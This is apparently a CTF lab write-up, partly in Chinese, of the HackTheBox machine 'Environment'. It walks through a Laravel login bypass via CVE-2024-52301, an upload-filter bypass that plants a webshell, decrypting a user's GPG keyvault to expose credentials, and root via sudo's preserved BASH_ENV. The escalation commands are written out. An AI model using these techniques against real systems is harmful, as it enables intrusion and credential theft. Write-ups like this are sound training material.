Environment

TelBo_on published on
5 min, 817 words

Categories: OSCP

Recon

Ports

 dirsearch -u http://environment.htb/ -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt        
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 2563

Output File: /home/Hackthebox/Environment/reports/http_environment.htb/__25-05-07_14-44-53.txt

Target: http://environment.htb/

[14:44:53] Starting: 
[14:45:06] 403 -  555B  - /admin/.config
[14:45:08] 403 -  555B  - /admpar/.ftppass
[14:45:08] 403 -  555B  - /admrev/.ftppass
[14:45:20] 403 -  555B  - /lib/flex/uploader/.actionScriptProperties
[14:45:20] 403 -  555B  - /lib/flex/uploader/.flexProperties
[14:45:20] 403 -  555B  - /lib/flex/varien/.actionScriptProperties
[14:45:20] 403 -  555B  - /lib/flex/varien/.flexLibProperties
[14:45:20] 403 -  555B  - /lib/flex/uploader/.settings
[14:45:20] 403 -  555B  - /lib/flex/uploader/.project
[14:45:20] 403 -  555B  - /lib/flex/varien/.project
[14:45:20] 403 -  555B  - /lib/flex/varien/.settings
[14:45:20] 403 -  555B  - /local/.git/index
[14:45:20] 403 -  555B  - /local/.gitignore
[14:45:21] 200 -    2KB - /login
[14:45:32] 405 -  245KB - /upload/

Components

whatweb http://environment.htb/                  
http://environment.htb/ [200 OK] Cookies[XSRF-TOKEN,laravel_session], Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.22.1], HttpOnly[laravel_session], IP[10.129.232.3], Laravel, Script, Title[Save the Environment | environment.htb], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], nginx[1.22.1]

nginx服务器,laravel框架。 搜索现有漏洞,根据漏洞评分和时间进行优先级排序。发现存在CVE-2024-52301CVE-2021-43617, CVE-2022-2870等。 在目录扫描时发现存在一个405的upload界面: 说明此系统存在报错界面。能不能利用其他功能点造成报错然后获取更多系统信息? 发现在登录界面的remember me参数是Boolean型值。置空可能会报错?试一下: 得到了一个与environment有关的参数preprod,想到了前面的CVE-2024-52301,查看利用: 抓包在login页面试试: 成功进入dashboard。浏览界面发现只存在一个上传点。 进行fuzz测试。发现为黑名单过滤,对对文件头(GIF89a绕过)和最后一个.的文件后缀进行了检测。试了半天:在文件名后加.绕过。 上传webshell。

Frist FootHold

获得了一个webshell后,信息收集发现www-data用户对/home/hish的目录具有可读文件。其中存在一个keyvault.gpg文件和.gnupg文件夹。搜索可知用户加密密钥等信息存储在此文件下。copy一份到/tmp下,获得了一些凭据。

www-data@environment:/tmp$ export GNUPGHOME=/tmp/.gnupg
export GNUPGHOME=/tmp/.gnupg
www-data@environment:/tmp$ gpg -d ./keyvault.gpg
gpg -d ./keyvault.gpg
gpg: WARNING: unsafe permissions on homedir '/tmp/.gnupg'
gpg: encrypted with 2048-bit RSA key, ID B755B0EDD6CFCFD3, created 2025-01-11
      "hish_ <hish@environment.htb>"
PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> marineSPm@ster!!
FACEBOOK.COM -> summerSunnyB3ACH!!

Root

ssh登录后。在sudo -l下发现了env_keep+="ENV BASH_ENV"(ALL) /usr/bin/systeminfo

sudo -l 
[sudo] password for hish: Matching Defaults entries for hish on environment: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+="ENV BASH_ENV", use_pty User hish may run the following commands on environment: 
(ALL) /usr/bin/systeminfo

了解ENV、BASH_ENV相关信息后,创建一个提权脚本。

echo "#! /bin/bash\n/bin/bash" > exp.sh
chmod +x ./exp.sh
export BASH_ENV=./exp.sh
sudo /usr/bin/systeminfo

Summary

此靶机确实与Environment有关(User与Root)。利用了报错泄露信息来获取环境相关敏感配置,绕过了登录认证。

Beyond

env_keep+="ENV BASH_ENV"sudo 中的含义是:保留环境变量 ENVBASH_ENV 给 sudo 执行的命令,而不是默认清除。这就打开了一个环境变量注入漏洞面,尤其在运行 Bash shell 脚本或可被劫持的命令时。

  • BASH_ENV 是 Bash 在 非交互式 shell 启动时自动读取并执行的脚本路径。
  • ENV 是在 sh(POSIX shell)中执行时会加载的环境脚本路径。 因为 sudo 没有清掉 BASH_ENV,并且脚本以 Bash 运行,Bash 在启动时会自动加载并执行注入的脚本 → 提权为 root。 普通环境变量注入利用不成功,主要是因为系统会强制覆盖 PATH 环境变量,只允许加载 secure_path 中指定的路径下的可执行文件

环境变量中的条件的含义:

env_reset默认启用,会清除大多数环境变量(包括 PATH、LD_PRELOAD、BASH_ENV 等)除非通过 env_keep 显式保留
secure_path仅影响 PATH 劫持
env_keep+="BASH_ENV"保持该环境变量,如没有这项,sudo 会清除掉 BASH_ENV,注入无效

另外: 这个对于上传漏洞:

Route::post('/upload', function (Request $request) {
    $response = app(UploadController::class)->upload($request);
    $responseBody = $response->getContent();
    $searchString = 'error';           
    if (strpos($responseBody, $searchString) === false) {
      $responseArray = json_decode($responseBody, false);
      $uploadedURL = $responseArray->uploaded;               
      $filename = basename($uploadedURL);                           
      $id = $request->session()->get('user_id');
      $user = User::find($id);
      $user->profile_picture = $filename;
      $user->save();                                                
    }                                           
    return $response; 
)->name('unisharp.lfm.upload')->middleware([AuthMiddleware::class]);  

可以发现使用的是这个unisharp.lfm.upload三方组件。 在composer.json中发现相关信息:

root@environment:/var/www/app# grep unisharp ./composer.json 
        "unisharp/laravel-filemanager": "2.9.0"

是存在漏洞的。